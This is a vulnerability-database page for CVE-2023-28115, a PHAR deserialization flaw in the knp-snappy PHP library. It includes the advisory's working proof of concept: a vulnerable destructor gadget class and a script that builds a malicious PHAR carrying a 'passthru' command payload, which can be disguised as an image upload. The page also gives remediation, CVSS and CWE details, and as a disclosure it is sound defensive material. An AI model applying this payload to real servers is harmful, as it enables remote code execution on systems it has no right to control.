Loading...
Skip to main content

CVE-2023-28115 — Vulnerability in knplabs/knp-snappy — CVE Details

CRITICAL

PHAR deserialization allowing remote code execution

Published March 17, 2023Updated September 10, 2026Source: osv

Summary

## Description snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the `file_exists()` function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the `generateFromHtml()` function, it will invoke deserialization. ## Proof of Concept Install Snappy via composer require `knplabs/knp-snappy`. After that, under snappy directory, create an `index.php` file with this vulnerable code. ```php <?php // index.php // include autoloader require __DIR__ . '/vendor/autoload.php'; // reference the snappy namespace use Knp\Snappy\Pdf; // vulnerable object class VulnerableClass { public $fileName; public $callback; function __destruct() { call_user_func($this->callback, $this->fileName); } } $snappy = new Pdf('/usr/local/bin/wkhtmltopdf'); // generate pdf from html content and save it at phar://poc.phar $snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar'); ``` As an attacker, we going to generate the malicious phar using this script. ```php <?php // generate_phar.php class VulnerableClass { } // Create a new instance of the Dummy class and modify its property $dummy = new VulnerableClass(); $dummy->callback = "passthru"; $dummy->fileName = "uname -a > pwned"; //our payload // Delete any existing PHAR archive with that name @unlink("poc.phar"); // Create a new archive $poc = new Phar("poc.phar"); // Add all write operations to a buffer, without modifying the archive on disk $poc->startBuffering(); // Set the stub $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();"); // Add a new file in the archive with "text" as its content $poc["file"] = "text"; // Add the dummy object to the metadata. This will be serialized $poc->setMetadata($dummy); // Stop buffering and write changes to disk $poc->stopBuffering(); ?> ``` Then run these command to generate the file ```php php --define phar.readonly=0 generate_phar.php ``` Then execute index.php with `php index.php`. You will see a file named `pwned` will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick. ## Impact This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. ## Occurences <https://github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670> ## References - <https://huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e/>

Advisory Timeline

  • First published March 17, 2023 (1305 days ago).
  • Last revised September 10, 2026 — 1272 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update knplabs/knp-snappy to 1.4.2 or later
composer require "knplabs/knp-snappy:^1.4.2"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
knplabs/knp-snappy
packagist
0.1.0, 0.1.1, 0.1.2, 0.2.0 (+23 more)1.4.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-502
    Deserialization of Untrusted DataMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2023-28115?
PHAR deserialization allowing remote code execution This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2023-28115?
CVE-2023-28115 affects knplabs/knp-snappy. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2023-28115 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-gq6w-q6wh-jggc

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies